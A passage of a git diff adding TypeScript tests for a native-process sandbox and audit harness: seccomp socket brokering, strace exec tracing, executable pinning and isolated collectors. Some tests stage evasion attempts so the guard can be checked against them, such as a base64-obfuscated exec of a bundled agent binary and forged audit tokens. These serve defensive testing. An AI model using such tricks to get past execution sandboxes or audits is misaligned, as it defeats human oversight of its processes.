before launch",()=>{ + const f=fixture(),pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{}); + try{renameSync(f.selected,f.selected+"-old");copyFileSync(f.selected+"-old",f.selected);expect(()=>pin.beforeLaunch(),"SAME_BYTES_DIFFERENT_INODE_REFUSES").toThrow("pin changed");}finally{pin.dispose();f.close();} +}); +test("pinned executable transfer refuses changed bytes with the same inode and size",()=>{ + const f=fixture(),pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{}); + try{const bytes=readFileSync(f.selected);bytes[bytes.length-1]^=1;writeFileSync(f.selected,bytes);expect(()=>pin.beforeLaunch(),"CHANGED_BYTES_REFUSE").toThrow("pin changed");}finally{pin.dispose();f.close();} +}); diff --git a/tests/native-shared-audit.test.ts b/tests/native-shared-audit.test.ts new file mode 100644 index 0000000000..1c702a48ee --- /dev/null +++ b/tests/native-shared-audit.test.ts @@ -0,0 +1,42 @@ +/** A nested launch uses only its owned part of a live guard trace. */ +import {expect,test} from "bun:test"; +import {mkdtempSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; +import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; +import {nativeTraceSubtree} from "../scripts/native-shared-audit"; +import {watchdogMs} from "../scripts/test-deadlines"; +const root=join(import.meta.dir,".."); +test("shared exec evidence excludes concurrent sibling launches",()=>{ + const trace='10 clone(child_stack=NULL, flags=SIGCHLD) = 11\n20 clone(child_stack=NULL, flags=SIGCHLD) = 21\n11 execve("/owned", [], 0x1) = 0\n21 execve("/sibling-native", [], 0x1) = 0'; + expect(nativeTraceSubtree(trace,10)).toContain('/owned');expect(nativeTraceSubtree(trace,10),"SIBLING_NATIVE_EXEC_IS_NOT_INNER_EVIDENCE").not.toContain('/sibling-native'); +}); +test("shared evidence does not inherit a reused PID's later exec",()=>{ + const trace='10 clone(child_stack=NULL, flags=SIGCHLD) = 11\n11 execve("/owned", [], 0x1) = 0\n11 exit_group(0) = ?\n20 clone(child_stack=NULL, flags=SIGCHLD) = 11\n11 execve("/other-native", [], 0x1) = 0'; + expect(nativeTraceSubtree(trace,10),"REUSED_PID_IS_NOT_OWNED_NATIVE_EVIDENCE").not.toContain('/other-native'); +}); +for(const mode of ["harmless","native-stub","forged","expired"] as const)test(`nested shared audit: ${mode}`,async()=>{ + const scratch=mkdtempSync("/tmp/odysseus-nested-audit-"),module=join(root,"scripts/native-shared-audit.ts"),guard=join(root,"scripts/test-native-guard.ts"),preload=join(root,"scripts/test-network-child-preload.ts"); + const nested=`import {borrowNativeAudit} from ${JSON.stringify(module)};import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; + const audit=borrowNativeAudit(reason=>{throw Error(reason)});if(!audit)throw Error("OWNED_OUTER_AUDIT_REQUIRED"); + const mode=${JSON.stringify(mode)}; + if(mode==="forged"||mode==="expired"){ + const env={...process.env,...audit.env},token=JSON.parse(env.BRAIN_NATIVE_EXEC_AUDIT);if(mode==="forged")token.socketIno="0";else token.serverStart="0";env.BRAIN_NATIVE_EXEC_AUDIT=JSON.stringify(token); + const child=Bun.spawn([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(`import {borrowNativeAudit} from ${JSON.stringify(module)};borrowNativeAudit(()=>{});console.log("UNSAFE_UNPROVEN_TRACE_ACCEPTED");`)}],{env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(code===0||out.includes("UNSAFE_UNPROVEN_TRACE_ACCEPTED")||!err.includes("native outer audit ownership unavailable"))throw Error("UNPROVEN_AUDIT_MUST_REFUSE: "+err);console.log("UNPROVEN_AUDIT_REFUSED"); + }else{ + const argv=mode==="harmless"?["/bin/sh","-c",'for n in 1 2; do :; done; exec "$1"',"fixture","/usr/bin/true"]:["/bin/sh","-c",'target=$(printf "%s" "$1" | base64 -d); exec "$target"',"fixture",${JSON.stringify(Buffer.from(bundledClaudeBinary()!).toString("base64"))}]; + const plan=nativeUnknownBoundary(argv),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(mode==="harmless"&&code!==0)throw Error("NESTED_HARMLESS_MUST_RUN: "+err);if(mode!=="harmless"&&code===0)throw Error("NESTED_NATIVE_MUST_HIT_STUB");console.log(mode==="harmless"?"NESTED_HARMLESS_RAN":"NESTED_NATIVE_STUB_REFUSED"); + }`; + const driver=`import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; + const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]);const child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);process.stdout.write(out);process.stderr.write(err);process.exitCode=code;`; + try{const child=spawnGuardFixture([process.execPath,"-e",driver],{env:{...process.env,TMPDIR:scratch}});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(out,err).toContain(mode==="harmless"?"NESTED_HARMLESS_RAN":mode==="native-stub"?"NESTED_NATIVE_STUB_REFUSED":"UNPROVEN_AUDIT_REFUSED");if(mode==="harmless"||mode==="forged"||mode==="expired")expect(code,err).toBe(0);else{expect(code).not.toBe(0);expect(err).toContain("tripwire");}}finally{rmSync(scratch,{recursive:true,force:true});} +},watchdogMs(30000)); + +test("outer tracer death kills the nested launch and closes stdout",async()=>{ + const guard=join(root,"scripts/test-native-guard.ts"),preload=join(root,"scripts/test-network-child-preload.ts"); + const nested=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; + const plan=nativeUnknownBoundary(["/bin/sh","-c",'echo INNER_READY; IFS= read -r held']),child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});const reader=child.stdout.getReader();const ready=await reader.read();if(!new TextDecoder().decode(ready.value).includes("INNER_READY"))throw Error("INNER_NOT_READY");reader.releaseLock();const tracer=Number(/^TracerPid:\\s+(\\d+)/m.exec(readFileSync("/proc/self/status","utf8"))[1]),start=readFileSync("/proc/"+tracer+"/stat","utf8").split(") ")[1].split(" ")[19];console.log("TRACER_READY "+tracer+" "+start);await child.exited;throw Error("INNER_SURVIVED_TRACER");`; + const driver=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; + const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});let output="",killed=false,expired=false;const timer=setTimeout(()=>{expired=true;child.kill("SIGKILL");},10000);try{const drained=(async()=>{for await(const chunk of child.stdout){output+=new TextDecoder().decode(chunk);const match=/TRACER_READY (\\d+) (\\d+)/.exec(output);if(match&&!killed){const pid=Number(match[1]),start=readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" ")[19];if(start!==match[2])throw Error("TRACER_IDENTITY_CHANGED");killed=true;process.kill(pid,"SIGKILL");}}})();const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]);if(expired||!killed||code===0||output.includes("INNER_SURVIVED_TRACER"))throw Error("OUTER_TRACER_DEATH_MUST_CLOSE_OWNED_LAUNCH: "+err);console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");}finally{clearTimeout(timer);}`; + const child=spawnGuardFixture([process.execPath,"-e",driver]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(code,err).not.toBe(0);expect(out).toContain("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");expect(err).toContain("restriction cannot be enforced"); +},watchdogMs(20000)); diff --git a/tests/native-socket-broker-exit.test.ts b/tests/native-socket-broker-exit.test.ts new file mode 100644 index 0000000000..0a991738f1 --- /dev/null +++ b/tests/native-socket-broker-exit.test.ts @@ -0,0 +1,18 @@ +/** Real seccomp notifications and child exit; no installed runtime executes. */ +import {expect,test} from "bun:test"; +import {mkdtempSync,readFileSync,readdirSync,rmSync} from "node:fs"; +import {join} from "node:path"; +import {watchdogMs} from "../scripts/test-deadlines"; +test("socket broker finishes forty fast child exits without waiting forever in RECV",async()=>{ + const root=mkdtempSync("/tmp/odysseus-broker-exit-"),binary=join(root,"broker"),before=new Set(readdirSync("/tmp").filter(name=>name.startsWith("odysseus-connect-policy-"))); + try{ + const built=Bun.spawnSync(["cc","-static","-Os","-std=c11","-Wall","-Wextra","-Werror","-D_FORTIFY_SOURCE=2","-x","c","-","-o",binary],{stdin:readFileSync(join(import.meta.dir,"../scripts/native-proof/native-connect.c")),stdout:"pipe",stderr:"pipe"});expect(built.exitCode,built.stderr.toString()).toBe(0); + for(let run=0;run<40;run++){ + const child=Bun.spawn([binary,"--probe","a".repeat(40)],{stdin:"ignore",stdout:"pipe",stderr:"pipe"});let expired=false; + const timer=setTimeout(()=>{expired=true;child.kill("SIGKILL");},watchdogMs(5000)); + try{const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(expired,"BROKER_REAPS_EXITED_CHILD_INSTEAD_OF_BLOCKING_RECV").toBe(false);expect(code,err).toBe(0);expect(out).toBe("NATIVE_SOCKET_POLICY_HELD\n");} + finally{clearTimeout(timer);if(child.exitCode===null)child.kill("SIGKILL");} + } + expect(readdirSync("/tmp").filter(name=>name.startsWith("odysseus-connect-policy-")&&!before.has(name)),"PROBE_EXIT_RELEASES_ITS_SOCKET_DIRECTORY").toEqual([]); + }finally{rmSync(root,{recursive:true,force:true});} +},watchdogMs(60000)); diff --git a/tests/native-title-collector.test.ts b/tests/native-title-collector.test.ts new file mode 100644 index 0000000000..8163e21af7 --- /dev/null +++ b/tests/native-title-collector.test.ts @@ -0,0 +1,32 @@ +/** Real loopback-to-Unix collector projection with the real socket broker. */ +import {expect,test} from "bun:test"; +import {mkdtempSync,rmSync,statSync} from "node:fs"; +import {join} from "node:path"; +import {prepareNativeTitleCollector,registerNativeTitleCollector} from "../scripts/native-title-collector"; +import {watchdogMs} from "../scripts/test-deadlines"; +for(const mode of ["exact","wrong-token","wrong-path","stale","foreign-scope","different-address","different-port"] as const)test(`title collector exact endpoint: ${mode}`,async()=>{ + const root=mkdtempSync("/tmp/odysseus-title-endpoint-"),token=crypto.randomUUID(),scope={isLive:()=>true};let hits=0; + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch(request){hits++;return new Response(request.headers.get("authorization")==="Bearer "+token?"COLLECTOR_REACHED":"BAD_TOKEN");}}); + const env={CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_LOGS_EXPORTER:"otlp",OTEL_EXPORTER_OTLP_LOGS_ENDPOINT:`${server.url.origin}/v1/logs`,OTEL_EXPORTER_OTLP_LOGS_HEADERS:`Authorization=Bearer ${token}`},saved={...env}; + const release=registerNativeTitleCollector(env,scope);let prepared:ReturnType; + try{ + if(mode==="stale")release(); + prepared=prepareNativeTitleCollector(env,mode==="foreign-scope"?{isLive:()=>true}:scope,root); + expect(env,"PRODUCT_OTLP_ENV_IS_UNCHANGED").toEqual(saved); + if(mode==="stale"||mode==="foreign-scope"){expect(prepared,"UNREGISTERED_COLLECTOR_GETS_NO_BROKER_ENDPOINT").toBeUndefined();return;} + expect(prepared).toBeDefined(); + if(mode==="wrong-token"||mode==="wrong-path"){ + const request=new Request(`http://127.0.0.1${mode==="wrong-path"?"/different":"/v1/logs"}`,{method:"POST",headers:{authorization:mode==="wrong-token"?"Bearer wrong":"Bearer "+token},body:"{}"}); + expect((await prepared!.handle(request)).status,"ONLY_AUTHENTICATED_LOGS_POST_REACHES_COLLECTOR").toBe(403);expect(hits).toBe(0);return; + } + const relay=Bun.serve({unix:join(root,"relay.sock"),fetch:()=>new Response("PROVIDER_CHANNEL")}); + try{ + const binary=join(root,"broker"),build=Bun.spawnSync(["cc","-O2","-std=c11","-Wall","-Wextra","-Werror",join(import.meta.dir,"../scripts/native-proof/native-connect.c"),"-o",binary],{stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); + const info=statSync(join(root,"relay.sock"),{bigint:true}),port=server.port!,targetPort=mode==="different-port"?(port===65535?port-1:port+1):port,host=mode==="different-address"?"127.0.0.2":"127.0.0.1"; + const payload=`import errno,socket,sys\ns=socket.socket()\ntry:\n s.connect((${JSON.stringify(host)},${targetPort}))\nexcept OSError as e:\n assert ${mode!=="exact"?"True":"False"} and e.errno==errno.EPERM,(e.errno,'EXACT_COLLECTOR_SOCKADDR_REQUIRED')\n print('EXACT_SOCKADDR_REFUSED')\n sys.exit(0)\nassert ${mode==="exact"?"True":"False"},'OTHER_LOOPBACK_ENDPOINT_BECAME_REACHABLE'\ns.sendall(b'POST /v1/logs HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nAuthorization: Bearer ${token}\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\n{}')\nout=b''\nwhile True:\n part=s.recv(4096)\n if not part:break\n out+=part\nassert b'COLLECTOR_REACHED' in out,out\nprint('EXACT_COLLECTOR_REACHED')`; + const command=prepared!.wrap([binary,"--head","a".repeat(40),"--socket",join(root,"relay.sock"),"--device",String(info.dev),"--inode",String(info.ino),"--allowed",join(root,"relay.sock"),...prepared!.args,"--","/usr/bin/python3","-I","-S","-c",payload]); + const child=Bun.spawn(["bwrap","--unshare-user","--unshare-net","--bind","/","/","--dev-bind","/dev","/dev","--ro-bind",root,"/tmp/native-relay","--",...command],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(code,err+out).toBe(0);expect(out).toContain(mode==="exact"?"EXACT_COLLECTOR_REACHED":"EXACT_SOCKADDR_REFUSED");expect(hits).toBe(mode==="exact"?1:0); + }finally{relay.stop(true);} + }finally{prepared?.dispose();release();server.stop(true);rmSync(root,{recursive:true,force:true});} +},watchdogMs(30000)); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index 8dc7bced0a..1ccda5d828 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -37,7 +37,7 @@ for(const name of ["autonomous-dispatch","autonomous-app","autonomous-runtime"," } }ts.forEachChild(node,visit); }visit(source); - expect(declarations,"REQUIRED_SCRIPTED_FIXTURE_ROOTS").toEqual([name==="autonomous-runtime"?["root","brainPath"]:["root"]]); + expect(declarations,"REQUIRED_SCRIPTED_FIXTURE_ROOTS").toEqual([["autonomous-runtime","autonomous-containment","autonomous-app"].includes(name)?["root","brainPath"]:["root"]]); }); // The enforcement entry re-enters the RTK view before constructing its worker; diff --git a/tests/private-fixture-directory-access.test.ts b/tests/private-fixture-directory-access.test.ts index 88be6959d3..1bd920a719 100644 --- a/tests/private-fixture-directory-access.test.ts +++ b/tests/private-fixture-directory-access.test.ts @@ -1,10 +1,39 @@ +import { watchdogMs } from "../scripts/test-deadlines"; import { expect, test } from "bun:test"; -import { chmodSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; +import { chmodSync, cpSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; import { tmpdir } from "node:os"; import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "../packages/ui-sdk/tests/fixtures/private-fixture-directory-access"; test("private fixture metadata ACL names one different UID and preserves worker-only file bytes", () => { + if (process.env.BRAIN_PRIVATE_ACL_CONTAINER !== "1") { + // Unit already requires Docker for the pinned browser-container proofs. + // FROM scratch supplies numeric UIDs without changing the unit worker map. + const context=mkdtempSync(join(tmpdir(),"odysseus-private-acl-container-")); + const image=`odysseus-private-acl-${process.pid}`; + try { + const rootfs=join(context,"rootfs");mkdirSync(rootfs); + const copy=(source:string,target=source)=>{mkdirSync(dirname(join(rootfs,target)),{recursive:true});cpSync(source,join(rootfs,target),{recursive:true});}; + for(const executable of [process.execPath,realpathSync("/usr/bin/python3")]) { + copy(executable,executable===process.execPath?"/bun":"/usr/bin/python3"); + const linked=Bun.spawnSync(["ldd",executable],{stdout:"pipe",stderr:"pipe"}); + expect(linked.exitCode,linked.stderr.toString()).toBe(0); + for(const path of linked.stdout.toString().match(/\/[^\s()]+/g)??[])copy(realpathSync(path),path); + } + const stdlib=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c","import sysconfig;print(sysconfig.get_path('stdlib'))"],{stdout:"pipe",stderr:"pipe"}); + expect(stdlib.exitCode,stdlib.stderr.toString()).toBe(0);copy(stdlib.stdout.toString().trim()); + copy(join(import.meta.dir,"../scripts/test-deadlines.ts"),"/scripts/test-deadlines.ts"); + copy(import.meta.path,"/tests/private-fixture-directory-access.test.ts"); + copy(join(import.meta.dir,"../packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts"),"/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts"); + mkdirSync(join(rootfs,"tmp"));chmodSync(join(rootfs,"tmp"),0o1777); + const readable=(path:string)=>{const info=lstatSync(path);if(info.isDirectory()){chmodSync(path,0o755);for(const name of readdirSync(path))readable(join(path,name));}else if(info.isFile())chmodSync(path,info.mode&0o111?0o555:0o444);}; + readable(rootfs);chmodSync(join(rootfs,"tmp"),0o1777); + writeFileSync(join(context,"Dockerfile"),"FROM scratch\nCOPY rootfs /\nUSER 1000:1000\nENV BRAIN_PRIVATE_ACL_CONTAINER=1\nENTRYPOINT [\"/bun\",\"test\",\"--timeout\",\"30000\",\"/tests/private-fixture-directory-access.test.ts\"]\n"); + const build=Bun.spawnSync(["docker","build","--network=none","-t",image,context],{stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); + const result=Bun.spawnSync(["docker","run","--rm","--network=none",image],{stdout:"pipe",stderr:"pipe"});expect(result.exitCode,result.stdout.toString()+result.stderr.toString()).toBe(0); + } finally {Bun.spawnSync(["docker","image","rm",image],{stdout:"ignore",stderr:"ignore"});rmSync(context,{recursive:true,force:true});} + return; + } const root=mkdtempSync(join(tmpdir(),"odysseus-private-fixture-")),privateRoot=join(root,"private"),file=join(privateRoot,"voyage.md"); mkdirSync(privateRoot,{mode:0o700});writeFileSync(file,"Odysseus charts Ithaca.\n",{mode:0o600}); const outside=join(root,"outside");mkdirSync(outside,{mode:0o700});mkdirSync(join(outside,"nested"),{mode:0o700});symlinkSync(outside,join(privateRoot,"alias")); @@ -28,4 +57,4 @@ print(json.dumps(rows))`,privateRoot],{stdout:"pipe",stderr:"pipe"}); expect(lstatSync(outside).mode & 0o777,"SYMLINK_TARGET_IS_NOT_SHARED").toBe(0o700); expect(lstatSync(join(outside,"nested")).mode & 0o777,"SYMLINK_DESCENDANTS_ARE_NOT_SHARED").toBe(0o700); } finally {chmodSync(privateRoot,0o700);rmSync(root,{recursive:true,force:true});} -}); +}, watchdogMs(120_000)); diff --git a/tests/provider-history-host-authority.test.ts b/tests/provider-history-host-authority.test.ts index 5760e15700..2ed2a2188f 100644 --- a/tests/provider-history-host-authority.test.ts +++ b/tests/provider-history-host-authority.test.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../scripts/test-native-guard"; import { expect, test } from "bun:test"; import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -16,13 +17,15 @@ import type { RunningTurn } from "../packages/ui-server/src/ws/turns"; for (const backendId of ["pi", "claude"] as const) for (const kind of ["inference", "provider"] as const) { test(`${backendId} provider-history host gives its relay live owner authority and observes revocation: ${kind}`, async () => { const root = mkdtempSync(join(tmpdir(), "odysseus-history-authority-")); - const brain = fixtureBrain(root, "voyage"), f = historyHost(brain, makeFakeBackend({ id: backendId })); + const brain = fixtureBrain(root, "voyage"); + let requests = 0; + const origin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return Response.json({ content: [] }); } }); + const releaseAuthority=nativeScriptedService(origin.url.origin,{fixtureRoots:[root]}); + const f = historyHost(brain, makeFakeBackend({ id: backendId })); const controller = new AbortController(); const authorization = f.host.coordinator.openAuthorization({ principalId: f.principalId, valid: true, expiresAt: Number.MAX_SAFE_INTEGER }); const turn = { turnId: "voyage", requestId: "voyage-request", principalId: f.principalId, authorization, sessionId: null, startedAt: Date.now(), abortController: controller, queue: [] } as unknown as RunningTurn; - let requests = 0; - const origin = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return Response.json({ content: [] }); } }); let proxy: Awaited> | undefined; let relay: ReturnType | ReturnType | undefined; try { @@ -50,7 +53,7 @@ for (const backendId of ["pi", "claude"] as const) for (const kind of ["inferenc expect(requests, "REVOCATION_CANNOT_RETRY_OR_REACH_THE_PROVIDER").toBe(1); } finally { controller.abort(); await relay?.stop(); proxy?.stop(); await proxy?.settled(); origin.stop(true); - authorization.release(); await f.close(); rmSync(root, { recursive: true, force: true }); + authorization.release(); await f.close(); releaseAuthority();rmSync(root, { recursive: true, force: true }); } }); } diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index b228ae1923..331a1332fd 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 0e4b77d226..f8d766db24 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index bc939b2265..77b284647d 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index b79bec440c..c0a1e5c274 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 3a11a84bbf6f1cc8e09c8b6e0d013cc77d276bf5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 14:43:26 +0000 Subject: [PATCH 108/187] Pin audit trace inodes and validate copied script destinations --- scripts/test-native-guard.ts | 10 +++++++--- tests/helpers/native-guard-copy-inventory.ts | 1 + tests/native-guard-copy-closure.test.ts | 6 ++++++ tests/native-offline-boundary.test.ts | 2 +- tests/native-policy-artifact.test.ts | 2 +- 5 files changed, 16 insertions(+), 5 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 84993ed25e..4a652be965 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -514,12 +514,16 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c const log = join(directory, "connect.log"); const liveStarts=new Map(); writeFileSync(log, "", { mode: 0o600 }); + // Holding the original inode prevents unlink/recreate from recycling it. + let auditFd:number|undefined=openSync(log,constants.O_RDONLY|constants.O_NOFOLLOW|0o2000000); + const closeAudit=()=>{if(auditFd!==undefined){closeSync(auditFd);auditFd=undefined;}}; let accessPrepared = false; const owner = nativeKernelIdentity().uid, directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); const storageIntact = () => { try { const folder = lstatSync(directory, { bigint: true }), file = lstatSync(log, { bigint: true }); - return folder.isDirectory() && file.isFile() && folder.uid === BigInt(owner!) && file.uid === BigInt(owner!) + const pinned=auditFd===undefined?undefined:fstatSync(auditFd,{bigint:true}); + return pinned?.nlink===1n&&pinned.dev===logStamp.dev&&pinned.ino===logStamp.ino&&folder.isDirectory() && file.isFile() && folder.uid === BigInt(owner!) && file.uid === BigInt(owner!) && folder.dev === directoryStamp.dev && folder.ino === directoryStamp.ino && file.dev === logStamp.dev && file.ino === logStamp.ino && (folder.mode & 0o7777n) === (accessPrepared ? 0o730n : 0o700n) && (file.mode & 0o7777n) === (accessPrepared ? 0o620n : 0o600n) @@ -560,7 +564,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if(socketDenials)nativeReceipt({kind:"native-offline-socket-denial",head:nativeTestHead(),success:false,reason:"native socket operation denied",count:socketDenials}); nativeReceipt({...receipt}); return receipt; - } finally { sharedAudit?.dispose();cleanup(); rmSync(directory, { recursive: true, force: true }); } + } finally { sharedAudit?.dispose();closeAudit();cleanup(); rmSync(directory, { recursive: true, force: true }); } }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. @@ -571,7 +575,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if (!storageIntact()) refuse("native audit storage integrity failed"); if (workerUid !== undefined && !accessPrepared) { if (!auditAcl("set", workerUid, directory, log)) { - cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); + closeAudit();cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); } accessPrepared = true; if (!storageIntact()) refuse("native audit storage integrity failed"); diff --git a/tests/helpers/native-guard-copy-inventory.ts b/tests/helpers/native-guard-copy-inventory.ts index cc9ea9e56b..174136f68f 100644 --- a/tests/helpers/native-guard-copy-inventory.ts +++ b/tests/helpers/native-guard-copy-inventory.ts @@ -20,6 +20,7 @@ export function 